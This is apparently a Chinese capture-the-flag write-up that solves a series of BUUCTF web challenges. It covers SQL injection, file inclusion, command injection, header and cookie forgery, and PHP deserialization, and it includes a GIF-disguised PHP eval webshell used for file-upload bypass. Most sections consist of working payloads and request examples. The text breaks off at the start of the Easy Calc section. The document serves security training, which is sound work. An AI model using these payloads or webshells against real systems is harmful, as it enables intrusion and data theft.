BUUCTF-WEB详细解题攻略1(按解出数降序排序)

目录

[[极客大挑战 2019]EasySQL](#[极客大挑战 2019]EasySQL)

[[极客大挑战 2019]Havefun](#[极客大挑战 2019]Havefun)

[[ACTF2020 新生赛]Include](#[ACTF2020 新生赛]Include)

[[HCTF 2018]WarmUp](#[HCTF 2018]WarmUp)

[[ACTF2020 新生赛]Exec](#[ACTF2020 新生赛]Exec)

[[GXYCTF2019]Ping Ping Ping](#[GXYCTF2019]Ping Ping Ping)

[[SUCTF 2019]EasySQL](#[SUCTF 2019]EasySQL)

[[极客大挑战 2019]LoveSQL](#[极客大挑战 2019]LoveSQL)

[[极客大挑战 2019]Secret File](#[极客大挑战 2019]Secret File)

[[强网杯 2019]随便注](#[强网杯 2019]随便注)

[[极客大挑战 2019]Http](#[极客大挑战 2019]Http)

[[极客大挑战 2019]Upload](#[极客大挑战 2019]Upload)

[[极客大挑战 2019]Knife](#[极客大挑战 2019]Knife)

[[ACTF2020 新生赛]Upload](#[ACTF2020 新生赛]Upload)

[[极客大挑战 2019]BabySQL](#[极客大挑战 2019]BabySQL)

[[极客大挑战 2019]PHP](#[极客大挑战 2019]PHP)

[[ACTF2020 新生赛]BackupFile](#[ACTF2020 新生赛]BackupFile)

[[极客大挑战 2019]BuyFlag](#[极客大挑战 2019]BuyFlag)

[[RoarCTF 2019]Easy Calc](#[RoarCTF 2019]Easy Calc)

[[HCTF 2018]admin](#[HCTF 2018]admin)

[[BJDCTF2020]Easy MD5](#[BJDCTF2020]Easy MD5)

[MRCTF2020]你传你🐎呢

[[护网杯 2018]easy_tornado](#[护网杯 2018]easy_tornado)

[MRCTF2020]Ez_bypass

[[ZJCTF 2019]NiZhuanSiWei](#[ZJCTF 2019]NiZhuanSiWei)

[[极客大挑战 2019]HardSQL](#[极客大挑战 2019]HardSQL)

[[网鼎杯 2020 青龙组]AreUSerialz](#[网鼎杯 2020 青龙组]AreUSerialz)

[GXYCTF2019]BabyUpload

[GXYCTF2019]BabySQli

[[SUCTF 2019]CheckIn](#[SUCTF 2019]CheckIn)

[GYCTF2020]Blacklist

[[RoarCTF 2019]Easy Java](#[RoarCTF 2019]Easy Java)


[极客大挑战 2019]EasySQL

这道题的解法非常简单:

· 在用户名和密码框中都输入:1' or '1'='1 · 然后点击登录。

[极客大挑战 2019]Havefun

  1. 打开网页,查看源代码:进入题目环境,按Ctrl + U(或F12选择"查看源代码"),找到页面末尾被注释的PHP代码。这些"注释"在解题时常常是关键信息。

  2. 代码审计,找到提示:源码中,注释提示是一个GET参数cat。下面是它的简单逻辑:

    复制代码
    $cat=$_GET['cat'];
    echo $cat;
    if($cat=='dog') {
        // ...
    }

    它接收一个cat参数,如果值等于dog,就会执行某个操作,通常就是输出flag。

  3. 手工构造,发起请求:在浏览器URL后添加参数?cat=dog。完整的URL大致会是http://your_challenge_url/?cat=dog。访问这个链接,页面就会直接显示flag。

[ACTF2020 新生赛]Include

  1. 点击进入:访问题目环境,你会看到一个提示链接。点击它,观察浏览器地址栏的 URL,会看到类似 ?file=flag.php 的参数,这意味着页面可以加载其他文件,存在文件包含漏洞。

  2. 核心 Payload:下面这种写法是目前最通用、最推荐的做法,它效果稳定,能绕过大多数过滤规则:

    复制代码
    ?file=php://filter/convert.base64-encode/resource=flag.php
  3. 编码解读: · ?file= 是题目传递文件的参数名。 · php://filter 是 PHP 流过滤器,它可以把后续读取的内容"加工"一下。 · convert.base64-encode 就是"加工"方式,它会将要读取的内容(即 flag.php 的源代码)进行 Base64 编码。 · resource=flag.php 明确了此次操作的目标文件,也就是题目同目录下的 flag.php。

  4. 获取与解码:将该 Payload 拼接到靶场地址后并访问,你会看到一长串 Base64 编码的文本。复制它,用在线工具或者本地终端(例如 echo "编码内容" | base64 -d)解码,即可看到 flag.php 的完整源代码,Flag 就在其中。

[HCTF 2018]WarmUp

这道题是典型的 PHP 文件包含 + 代码审计。根据题目描述,你需要通过分析 source.php 中的 checkFile() 函数,找到绕过方法,最终包含根目录下的 ffffllllaaaagggg 文件拿到 flag。

具体步骤

  1. 访问 source.php 在浏览器地址栏输入: http://靶机地址/index.php?file=source.php 查看源代码,得到 checkFile() 的完整逻辑。

  2. 访问 hint.php 输入:http://靶机地址/index.php?file=hint.php 页面提示:flag not here, and flag in ffffllllaaaagggg 说明目标文件是根目录下的 ffffllllaaaagggg。

  3. 绕过 checkFile() 校验 核心 payload:利用 ? 截断特性。 因为 checkFile() 会取 ? 之前的部分与白名单(source.php, hint.php)比对,所以我们可以构造: hint.php?../../../../../ffffllllaaaagggg 这样 ? 前是 hint.php(白名单通过),而 include 处理的是完整路径,../ 会回溯到根目录并加载目标文件。

  4. 最终 payload 在浏览器地址栏输入: http://靶机地址/index.php?file=hint.php?../../../../../ffffllllaaaagggg 回车后页面会直接显示 flag。

原理简析

· 文件包含参数 ?file= 接收用户输入。 · checkFile() 先判断是否为字符串,再判断是否在白名单内。 · 若输入包含 ?,则取 ? 之前的部分做白名单检查(绕过关键)。 · 实际包含时使用原始输入,路径中的 ../ 会向上跳转目录,最终读取根目录下的 ffffllllaaaagggg。

按此操作即可拿到 flag。

[ACTF2020 新生赛]Exec

这道题是典型的命令注入。通常是让你输入一个 IP 地址,后端执行 ping 命令,拼接参数时没有过滤,导致可以执行任意系统命令。

解题步骤

  1. 打开靶场,你会看到一个输入框,要求输入 IP 地址(比如 127.0.0.1)。

  2. 尝试输入 127.0.0.1; ls 然后提交,如果页面返回了当前目录的文件列表,说明存在命令注入。

  3. 接着找 flag 文件。常见位置在根目录或当前目录。输入 127.0.0.1; cat /flag 或 127.0.0.1; cat flag 读取。

  4. 如果 cat 被过滤,可以尝试 tac、head、tail、more、less 等命令,或者使用 base64 /flag 然后解码。

常用 payload:

复制代码
127.0.0.1; cat /flag

复制代码
127.0.0.1 | cat /flag

复制代码
127.0.0.1 && cat /flag

如果过滤了空格,可以用 ${IFS} 代替,例如:

复制代码
127.0.0.1; cat${IFS}/flag

如果过滤了分号,可以用 %0a(换行符)替代。

你只需要在输入框里输入上述命令之一,提交即可得到 flag。

[GXYCTF2019]Ping Ping Ping

  1. 确认注入点

· 输入 127.0.0.1 → 正常 ping 回显。 · 输入 127.0.0.1; ls(图 1000015421)→ 成功列出 flag.php 和 index.php,说明 ; 可用,注入存在。

  1. 尝试读取 flag.php 遇到过滤

· 输入 127.0.0.1; cat flag.php → 提示 fxck your space!,因为空格被禁。

· 尝试大括号 {cat,flag.php} 绕过空格 → 提示 fxck your symbol!,说明花括号被禁或触发了符号过滤。

· 尝试 127.0.0.1; catIFS9flag.php → 提示 fxck your flag!,仍然被检测。

  1. 使用变量拼接绕过 flag 关键字

· 输入 127.0.0.1;a=g;catIFS9flaa.php→ 成功! 页面输出了 ping 统计信息,并在底部显示了 flag="flag{b1f864c2-a297-49a0-a405-87151c5731d7}";,即 flag 内容。

最终有效 payload:

复制代码
127.0.0.1;a=g;cat$IFS$9fla$a.php

[SUCTF 2019]EasySQL

一、操作过程

方法一(推荐,简单直接)

在题目输入框中输入:

复制代码
*,1

然后点击提交,页面会直接返回 flag。

方法二(备选,适用于方法一失效)

在题目输入框中输入:

复制代码
1;set sql_mode=PIPES_AS_CONCAT;select 1

点击提交,页面返回类似 1flag{...} 的字符串,提取 {} 内的内容即为 flag。


二、原理

题目后端逻辑推测

后端 PHP 代码可能类似:

复制代码
$query = $_POST['query'];
$sql = "select $query || flag from Flag";
$result = mysqli_query($conn, $sql);

其中 || 在 MySQL 中默认是逻辑或运算符。

方法一原理:短路与通配符

· 输入 *,1 后,SQL 变为 select *,1 || flag from Flag。 · 由于 1 || flag 中 1 为真(非零),逻辑或短路,结果为 1。因此实际查询等效于 select *,1 from Flag。 · select * 会返回 Flag 表中的所有列(包括 flag 列),从而直接显示 flag。

方法二原理:修改 SQL 模式

· MySQL 中 || 的行为取决于 sql_mode 是否包含 PIPES_AS_CONCAT。 · 默认情况下(无此模式),|| 是逻辑或。 · 执行 set sql_mode=PIPES_AS_CONCAT 后,|| 变为字符串连接符(等同于 CONCAT)。 · 输入 1;set sql_mode=PIPES_AS_CONCAT;select 1 会依次执行:

  1. select 1(无关紧要)

  2. 修改 SQL 模式

  3. select 1||flag from Flag → 实际执行 select CONCAT(1, flag) from Flag,将 1 与 flag 拼接,从而输出 flag。

注意:方法二需要后端支持堆叠查询(多条语句用 ; 分隔),本题恰好支持。

两种方法均可得到 flag,优先使用方法一。

[极客大挑战 2019]LoveSQL

一、操作过程

方法一:手工注入(推荐理解原理)

在用户名输入框填写以下 payload,密码任意(如 1),点击登录。

  1. 测试注入点

    复制代码
    admin' or 1=1#

    若成功登录,说明存在字符型注入。

  2. 查询当前数据库名

    复制代码
    admin' union select 1,2,database()#

    返回结果中会显示数据库名,通常为 geek。

  3. 查询当前数据库下的所有表名

    复制代码
    admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

    返回两个表名:geekuser 和 l0ve1ysq1。

  4. 查询 l0ve1ysq1 表中的列名

    复制代码
    admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#

    得到列名:id, username, password。

  5. 提取 flag

    复制代码
    admin' union select 1,2,group_concat(password) from l0ve1ysq1#

    页面会显示 flag(格式如 flag{...} 或 ctfhub{...})。

方法二:使用 sqlmap 自动化

  1. 用 Burp 抓取登录请求,保存为 req.txt(内容示例):

    复制代码
    POST / HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 29
    ​
    username=admin&password=1
  2. 运行 sqlmap:

    复制代码
    sqlmap -r req.txt --batch --dbs

    找到数据库名 geek。

  3. 获取表名:

    复制代码
    sqlmap -r req.txt --batch -D geek --tables

    得到表 l0ve1ysq1。

  4. 导出该表数据:

    复制代码
    sqlmap -r req.txt --batch -D geek -T l0ve1ysq1 --dump

    结果中会出现 flag。


二、原理

  1. 字符型SQL注入:后端代码类似:

    复制代码
    $sql = "SELECT * FROM user WHERE username = '$username' AND password = '$password'";

    直接拼接用户输入,未做过滤。输入 admin' or 1=1# 后,SQL 变为:

    复制代码
    SELECT * FROM user WHERE username = 'admin' or 1=1#' AND password = '...'

    注释掉后续条件,1=1 恒真,从而绕过登录。

  2. 联合查询注入:利用 union select 将额外查询结果附加到原查询中。需先通过 order by 判断列数(本例为 3 列),然后使用 union select 1,2,3 查看回显位置。接着用 database(), group_concat(table_name) 等函数获取数据库结构。最后从 l0ve1ysq1 表的 password 列中提取 flag。

  3. information_schema:MySQL 系统库,存储所有数据库、表、列元数据。注入时通过查询该库可枚举整个数据库结构。

  4. group_concat():将多行结果合并为一行字符串,方便一次性显示所有数据,常用于 CTF 注入中。

  5. sqlmap 原理:自动检测注入点、枚举数据库、表、列并导出数据,本质是发送大量探测 payload 并分析响应差异,最终组装出数据。

[极客大挑战 2019]Secret File

一、信息收集阶段

  1. 查看首页源代码

· 操作:浏览器右键 → 查看源代码(或 F12 Elements) · 发现:页面注释或隐藏标签中包含 Archive_room.php · 原理:前端代码中通过注释或隐藏元素提供线索

  1. 访问 Archive_room.php

· 操作:直接访问 http://靶场/Archive_room.php · 发现:新页面有一个"SECRET"按钮,点击后跳转到 end.php

  1. 使用 Burp Suite 抓包

· 操作:打开 Burp 代理,点击"SECRET"按钮,拦截请求 · 发现:实际请求先经过 action.php,响应中携带 secr3t.php 的链接,然后才重定向到 end.php · 原理:利用抓包工具查看中间跳转,找到真实入口

  1. 访问 secr3t.php

· 操作:在浏览器地址栏输入 http://靶场/secr3t.php · 结果:页面显示 PHP 源码,内容如下:

复制代码
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")){
    echo "Oh no!";
    exit();
}
include($file);
// flag放在了flag.php里

· 原理:通过直接访问文件,获得源码,发现文件包含漏洞及黑名单过滤规则


二、漏洞利用阶段

  1. 构造最终 Payload

· 命令(URL 参数):

复制代码
?file=php://filter/convert.base64-encode/resource=flag.php

· 完整访问 URL:

复制代码
http://靶场/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

原理详解

· 文件包含漏洞:include($_GET['file']) 可包含任意文件 · 黑名单限制:过滤了 ../、tp、input,但未过滤 php:// · 为什么不能直接 include('flag.php'):因为 flag.php 中的 PHP 代码会被执行,用户看不到源码 · php://filter 伪协议:可对文件内容进行过滤转换 · convert.base64-encode 将文件内容进行 Base64 编码 后返回 · 这样 include() 包含的是编码后的纯文本,PHP 代码不会被执行,因此我们能直接看到 flag.php 的原始代码 · 资源指定:resource=flag.php 指明目标文件


三、获取 Flag

  1. 解码 Base64

· 操作:复制页面返回的 Base64 字符串,在本地执行:

复制代码
echo "base64字符串" | base64 -d

或使用在线解码工具 · 结果:得到 flag.php 的源码,其中包含 flag{...} 或 ctfhub{...} 形式的 flag

[强网杯 2019]随便注

这道题是经典的SQL注入,过滤了 select、and、or、空格 等关键字,但允许堆叠查询(; 分隔多条SQL)。核心思路:利用 show 命令获取表结构,然后通过 handler 语句或预编译绕过 select 过滤读取数据。


一、环境与过滤确认

  1. 测试注入点 输入 1' 返回错误,说明存在字符型注入。 输入 1' and '1'='1 被拦截(and 被过滤),输入 1' or '1'='1 被拦截(or 被过滤)。 输入 1'//or//1=1 空格被拦截。 但输入 1' ; show databases; # 成功返回数据库列表,说明支持堆叠注入,且 show 未被过滤。

  2. 过滤规则(根据报错或常见WriteUp): · 关键字:select, and, or, union, where, limit, order by, sleep, benchmark 等 · 空格被替换为空(可用 /**/ 或换行符绕过,但某些版本直接删除空格导致连字符)


二、获取表名

Payload:

复制代码
1'; show tables; #

执行后页面列出当前数据库的所有表。常见结果为:

· words(默认表) · 1919810931114514(数字表名,flag 所在表)


三、获取列名

由于表名是纯数字,需要用反引号包裹。 Payload:

复制代码
1'; show columns from `1919810931114514`; #

返回列名:flag(或 id, data 等)。本题中该表只有一列 flag。


四、读取 flag(绕过 select 过滤)

使用 handler 语句(推荐,无需 select)

复制代码
1'; handler `1919810931114514` open; handler `1919810931114514` read first; handler `1919810931114514` close; #

· 原理:handler 是 MySQL 专用的表操作语句,可以直接读取表行,不依赖 select,因此不会被过滤。

执行后,页面会显示该表的第一行数据,即 flag。

五、原理总结

· 堆叠注入:允许执行多条 SQL 语句,利用 show 命令获取元数据。 · 关键字过滤绕过:select 被禁,但 show、handler、prepare 未被禁,因此使用这些命令替代。 · 反引号包裹:数字表名必须用反引号,否则会被解析为数字。 · handler 语句:MySQL 专用于高效读取表数据的接口,完全绕过了 select 的过滤。

按以上步骤操作,即可顺利拿到 flag。

[极客大挑战 2019]Http

第一步:发现隐藏页面

· 操作:访问靶场首页,查看页面源代码(Ctrl+U),寻找隐藏链接或提示。 · 命令:无。 · 原理:前端可能在注释中提供 secret.php 或 flag.php 的路径。

第二步:访问隐藏页面

· 操作:根据源码提示,访问 http://靶场/secret.php(或其他名称)。 · 命令:GET /secret.php。 · 原理:真正的功能页面可能不在首页,需要通过路径访问。

第三步:抓包并伪造 User-Agent

· 操作:使用 Burp Suite 拦截对 secret.php 的请求,发送到 Repeater,修改 User-Agent 头。 · 命令:

复制代码
User-Agent: Syclover

· 原理:服务器通过 $_SERVER['HTTP_USER_AGENT'] 检查浏览器标识,必须匹配特定字符串(如 Syclover)。

第四步:伪造 Referer

· 操作:在请求头中添加 Referer 字段。 · 命令:

复制代码
Referer: https://Sycsecret.buuoj.cn

· 原理:服务器检查来源页面,要求必须从指定域名跳转而来。

第五步:伪造 X-Forwarded-For

· 操作:添加 X-Forwarded-For 头。 · 命令:

复制代码
X-Forwarded-For: 127.0.0.1

· 原理:服务器可能限制只有本地访问,通过该头伪造客户端 IP 为 127.0.0.1。

第六步:修改请求方法(如果需要)

· 操作:将 GET 改为 POST(若题目要求)。 · 命令:

复制代码
POST /secret.php HTTP/1.1

· 原理:某些功能只响应特定 HTTP 方法。

第七步:发送请求获取 flag

· 操作:点击 Burp 的 Send 按钮,查看响应。 · 原理:当所有伪造条件满足后,服务器返回 flag。


完整示例请求(Burp Raw)

复制代码
POST /secret.php HTTP/1.1
Host: 靶场地址
User-Agent: Syclover
Referer: https://www.Sycsecret.com
X-Forwarded-For: 127.0.0.1
...

成功后将返回 flag{...}。

[极客大挑战 2019]Upload

一、过程

  1. 准备木马文件 创建 mm.phtml,内容:

    复制代码
    GIF89a
    <script language="php">eval($_POST['cmd']);</script>

    · GIF89a 作为文件头骗过 getimagesize() · <script language="php"> 绕过对 <? 的过滤

  2. 上传木马 · 使用 Burp Suite 拦截上传请求,将 Content-Type 从 application/octet-stream 改为 image/jpeg

    · 放行后页面提示"上传文件名: mm.phtml"

  3. 蚁剑连接 · URL:http://靶场/upload/mm.phtml · 密码:cmd · 测试连接成功

  4. 获取 Flag · 根目录下找到 flag 文件,内容为 flag{9438a823-7665-4b75-9828-a2ab8f160945}

二、原理

· 绕过文件类型检测:修改 Content-Type 为 image/jpeg,欺骗服务器这是一个图片。 · 绕过内容检测:GIF89a 作为图片幻数,通过 getimagesize() 检查;<script language="php"> 是 PHP 合法替代标签,不触发 <? 黑名单。 · 后缀利用:.phtml 在 Apache 默认配置下会被解析为 PHP,无需 .htaccess。 · 一句话木马:eval($_POST['cmd']) 接收密码 cmd 执行任意系统命令,蚁剑利用此接口实现文件管理和命令执行。

[极客大挑战 2019]Knife

解题步骤与原理

题目中直接给出了一段被注释的 PHP 代码 eval(*POST\["Syc"\]);。eval() 函数会将字符串参数作为 PHP 代码执行,而 *POST["Syc"] 则是从 HTTP POST 请求中获取名为 "Syc" 的参数值。这组合起来,就是一个连接密码为 Syc 的经典"一句话木马"。

  1. 准备连接:打开你的 WebShell 管理工具,这里以你熟悉的 中国蚁剑 为例。

  2. 添加 Shell 数据: · URL 地址:填入题目给出的链接(如 http://xxxx.node5.buuoj.cn:81/)。 · 连接密码:填入 Syc。 · 备注:可任意填写。

  3. 获取 Flag: · 连接成功后,在文件管理器中进入 根目录 下的 / 路径。

    · 找到并打开 flag 文件,即可获得 Flag。

[ACTF2020 新生赛]Upload

一、过程

  1. 准备木马文件 · 文件名改为 mm.jpg(实际为图片马,后缀 .jpg) · 文件内容:

    复制代码
    GIF89a
    <script language="php">eval($_POST['cmd']);</script>

    · 原理:GIF89a 作为图片幻数绕过 getimagesize() 检查;<script> 标签绕过对 <? 的过滤。

  2. 上传木马 · 使用 Burp Suite 拦截上传请求,将 Content-Type 修改为 image/jpeg

    · 放行后,服务器返回上传路径:./upload4/d382da9c3f620504a105f01d291ef975.phtml

    · 注意:虽然你上传的是 m.jpg,但服务器重命名并保留了 .phtml 后缀,说明后端可能根据内容检测后改变了扩展名,但最终仍可解析为 PHP。

  3. 蚁剑连接 · URL:http://靶场/upload4/d382da9c3f620504a105f01d291ef975.phtml · 密码:cmd · 测试连接成功

  4. 获取 Flag · 根目录下找到 flag 文件,内容为 flag{518d98a5-7f58-486a-b640-7f7f1e0335b8}

二、原理

· 后缀迷惑:将木马命名为 .jpg,服务器首先检查文件头(GIF89a)认为它是图片,因此通过了初步检测。 · 重命名机制:服务器可能对文件内容进行了二次分析,发现包含 PHP 代码,于是自动将后缀改为 .phtml 以便解析(或随机生成 .phtml)。 · 解析执行:.phtml 后缀在 Apache 默认配置下会被当作 PHP 脚本执行,因此蚁剑能够连接并执行命令。 · 一句话木马:eval($_POST['cmd']) 接收密码 cmd,蚁剑通过 POST 发送加密命令实现文件管理和命令执行。

[极客大挑战 2019]BabySQL

一、解题过程

1.输入用户名为admin,密码为1'报错说明存在注入

2.先试一下常规注入:

复制代码
/check.php?username=admin&password=1' union select 1#

3.猜测union 、select可能被过滤了,试一下双写绕过

复制代码
/check.php?username=admin&password=1' ununionion seselectlect 1#

4.继续报错,URL编码试一下,试一下列数 payload:

复制代码
/check.php?username=admin&password=1' ununionion seselectlect 1,2,3%23

5.爆数据库:

复制代码
/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23

6.找到ctf

爆表:

复制代码
/check.php?username=admin&password=1' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf" %23

7.查字段名:

复制代码
/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23

8,得到flag

复制代码
/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(flag) frfromom(ctf.Flag)%23

二、原理详解

  1. 漏洞成因

后端代码直接将用户输入拼接到 SQL 查询语句中,例如:

复制代码
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";

没有使用参数化查询,导致攻击者可以闭合字符串并注入恶意 SQL 代码。

  1. 过滤机制

题目对常见 SQL 关键字(如 union、select、from、information、or 等)进行了过滤,但过滤方式可能是简单的替换为空(例如 str_replace('union', '', $input))且只执行一次。

  1. 绕过方法:双写

利用一次替换的缺陷,将关键字双写,例如:

· union → ununionion(删除一个 union 后剩下 union) · select → selselectect(删除一个 select 后剩下 select) · from → frfromm · information → infoorrmation

这样经过过滤后,原本的关键字仍保留在 SQL 语句中,从而恢复正常的 SQL 语法。

  1. 联合查询注入

攻击者使用 union select 将自定义查询结果附加到原始查询结果中。通过 order by 判断列数,再使用 union select 1,2,3 查看哪些列的数据会显示在页面上(回显位)。然后在这些回显位放置恶意查询(如 database()、group_concat(table_name) 等),从而获取数据库结构数据。

  1. 元数据查询

利用 MySQL 自带的 information_schema 数据库,该库存储了所有数据库、表、列的信息。通过查询:

· information_schema.schemata → 获取所有数据库名 · information_schema.tables → 获取表名 · information_schema.columns → 获取列名

攻击者可以一步步获取目标数据库中存放 flag 的表和列,最终读取 flag。

  1. 注释符

使用 #(URL 编码为 %23)或 --+ 注释掉 SQL 语句中原有的后续部分,避免语法错误。

[极客大挑战 2019]PHP

一、题目核心

漏洞类型:PHP反序列化漏洞 核心考点:绕过 __wakeup() 魔术方法 + private属性空字节处理

二、完整解题流程+对应命令

步骤1:信息收集,获取备份源码

原理:CTF中"有备份习惯"的提示,几乎都指向 www.zip 全站备份。

方法1:直接浏览器访问(最快)

复制代码
http://靶机IP:端口/www.zip

方法2:dirsearch扫描验证

复制代码
python dirsearch.py -u http://靶机IP:端口 -e zip,php,txt,html -x 404

解压后得到3个关键文件: index.php 、 class.php 、 flag.php

步骤2:源码审计,定位漏洞

index.php(漏洞入口)

复制代码
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select); // 漏洞点:直接反序列化用户可控输入
?>

原理:服务器完全信任用户

输入,将GET参数 select 的值直接反序列化为PHP对象。

class.php(核心逻辑)

复制代码
<?php
include 'flag.php';
class Name {
    private $username = 'nonono';
    private $password = 'yesyes';
复制代码
// 反序列化前自动调用,会把username改成guest(我们要绕过)
function __wakeup() {
    $this->username = 'guest';
}
​
// 对象销毁时自动调用,满足条件输出flag(我们的目标)
function __destruct() {
    if ($this->password != 100) die("NO!!!hacker!!!");
    if ($this->username === 'admin') echo $flag;
}
​
}
?>

步骤3:构造恶意序列化Payload

3.1 生成基础序列化字符串

原理:创建一个满足条件的 Name 对象( username=admin , password=100 ),用 serialize() 转为字符串。

复制代码
// 新建php.php文件,写入以下代码
<?php
class Name {
    private $username = 'admin';
    private $password = 100;
}
// 必须加urlencode(),解决private属性空字节丢失问题
echo urlencode(serialize(new Name()));
?>
复制代码
运行代码生成基础字符串
​
php php.php

得到基础Payload:

复制代码
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

3.2 绕过 __wakeup()

原理:PHP经典漏洞------当序列化字符串中声明的属性个数 > 真实属性个数时,会跳过执行 __wakeup() 。

  • Name 类有2个真实属性,所以把 %3A2%3A 改成 %3A3%3A

最终攻击Payload:

复制代码
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

步骤4:提交Payload获取Flag

复制代码
方法1:浏览器访问
​
http://靶机IP:端口/?select=最终Payload
​
方法2:curl提交(最稳定,避免浏览器自动解码)
​
curl "http://靶机IP:端口/?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D"

三、核心原理总结

  1. 序列化/反序列化:PHP用于对象与字符串互转的机制,方便存储和传输。

  2. 魔术方法:反序列化攻击的核心,特定时机自动调用,无需手动触发。

  • __wakeup() :反序列化完成前调用

  • __destruct() :对象销毁时调用

  1. private属性空字节:private属性序列化后格式为 \x00类名\x00属性名 , \x00 是不可见空字节,必须用 urlencode() 转为 %00 才能正确传递。

  2. 绕过__wakeup():修改序列化字符串中的属性个数,使其大于真实值,PHP会跳过该方法执行。

[ACTF2020 新生赛]BackupFile

一、核心信息

  • 漏洞:备份文件泄露 + PHP弱类型比较

  • 考点:整数与字符串的弱类型转换、 intval() 函数特性

  • 难度:入门必考题

二、完整解题步骤

1.启动靶机:获取地址 http://靶机IP:端口 ,访问首页看到提示

2.下载备份源码

复制代码
直接访问(最快)
​
http://靶机IP:端口/index.php.bak
复制代码
扫描验证
​
python dirsearch.py -u http://靶机IP:端口 -e bak,php -x 404

3.源码审计:发现需要传入数字 key ,满足 intval($key) == "123xxx..."

4.构造Payload:提取字符串开头数字 123 ,得到 ?key=123

5.获取Flag

复制代码
浏览器访问
​
http://靶机IP:端口/?key=123

三、核心漏洞原理

  1. PHP弱类型比较 == :整数和字符串比较时,会自动提取字符串开头的连续数字转成整数再比较
  • 例: 123 == "123abc" → 123 == 123 → true
  1. intval() 特性:和弱类型转换规则一致,只取字符串开头的数字
  • 例: intval("123abc") → 123

[极客大挑战 2019]BuyFlag

一、题目核心信息

  • 题目名称:[极客大挑战 2019]BuyFlag

  • 漏洞类型:Cookie身份伪造 + PHP弱类型比较 + 业务逻辑漏洞

  • 完整解题流程:页面分析 → 源码找逻辑 → 改Cookie伪造身份 → 抓包调试 → 解决3个坑点 → 拿到flag

  • 最终flag: flag{fb9cfd77-3dda-465c-9caf-cde510fffc68}

二、完整解题步骤+对应命令+踩坑记录(Burp抓包版)

步骤1:启动靶机,分析页面提示

  1. 启动靶机,访问首页,点击右上角 MENU → 点击 PAYFLAG

  2. 看到3个关键提示:

  • 必须是CUIT的学生

  • 必须输入正确的密码

  • Flag需要100000000(1亿)元

步骤2:查看页面源码,获取核心逻辑

按 F12 打开开发者工具,拉到页面最底部,找到注释里的真实密码验证代码:

复制代码
if(isset($_POST['password'])){
    $password = $_POST['password'];
    // 条件1:密码不能是纯数字
    if(is_numeric($password)){
        echo "password can't be number<br>";
    }
    // 条件2:密码和404相等
    elseif($password == 404){
        echo "Password Right!<br>";
    }
}

步骤3:伪造CUIT学生身份

服务器通过未签名的Cookie判断用户身份:

  • 默认Cookie: user=0 (游客)

  • 学生身份: user=1

步骤4:第一次抓包(踩坑1:请求方法错误)

点击 PAYFLAG 按钮,用Burp Suite抓包,一开始构造的请求:

复制代码
GET /pay.php?password=404a&money=100000000 HTTP/1.1
Host: 你的靶机地址
Cookie: user=1

问题:服务器只接受 POST 请求,不接受 GET 请求,所以提示"请输入密码"。

步骤5:第二次修改(踩坑2:缺少POST头)

把请求方法改成 POST ,添加请求体,但忘记加 Content-Type 头:

复制代码
POST /pay.php HTTP/1.1
Host: 你的靶机地址
Cookie: user=1
Content-Length: 31
​
password=404a&money=100000000

问题:没有 Content-Type: application/x-www-form-urlencoded 头,服务器无法解析POST参数,仍然提示"请输入密码"。

步骤6:第三次修改(踩坑3:数字长度限制)

添加正确的POST头,发送请求:

复制代码
POST /pay.php HTTP/1.1
Host: 你的靶机地址
Cookie: user=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
​
password=404a&money=100000000

新问题:服务器返回 Nember lenth is too long (拼写错误,应为Number length),说明1亿的数字太长,被服务器拦截了。

步骤7:最终Payload(解决所有问题)

用科学计数法表示金额,绕过长度限制:

复制代码
POST /pay.php HTTP/1.1
Host: 你的靶机地址
Cookie: user=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
​
password=404a&money=1e9

发送请求,响应包中直接输出flag。

三、每一步的原理详解

  1. 为什么改Cookie就能伪造身份?
  • 很多入门级CTF题目会用Cookie存储用户身份信息,且没有做任何签名或加密

  • 服务器完全信任客户端传过来的Cookie值,所以我们可以直接修改 user=1 ,让服务器认为我们是CUIT学生

  1. 为什么 password=404a 能绕过密码验证?

这是**PHP弱类型比较( == )**的经典特性:

  • 当用 == 比较字符串和数字时,PHP会自动提取字符串开头的连续数字,转换成整数后再比较

  • 404a 开头的数字是 404 ,所以 "404a" == 404 → true

  • 同时 is_numeric("404a") → false ,完美满足两个条件

  1. 为什么必须加 Content-Type 头?
  • Content-Type: application/x-www-form-urlencoded 是POST表单的标准格式头

  • 没有这个头,服务器不知道怎么解析请求体里的 key=value 格式数据

  • 所以服务器会认为 *POST\['password'\] 和 *POST['money'] 都不存在

  1. 为什么 money=1e9 能绕过长度限制?
  • PHP会自动解析科学计数法为数字: 1e9 = 1000000000(10亿),大于1亿,满足金额要求

  • 科学计数法只有3个字符,远短于1亿的10个字符,完美绕过服务器的数字长度检查

[RoarCTF 2019]Easy Calc

这道题给我整的抓耳挠腮,用bp改请求头最后一步,一直不成功,只能进行网页访问了

前置基础信息

靶机地址: node5.buuoj.cn:29727 后端核心规则

  1. WAF拦截:参数名严格等于 num 直接403禁止访问

  2. 黑名单过滤:禁止 / ' " , 等特殊字符

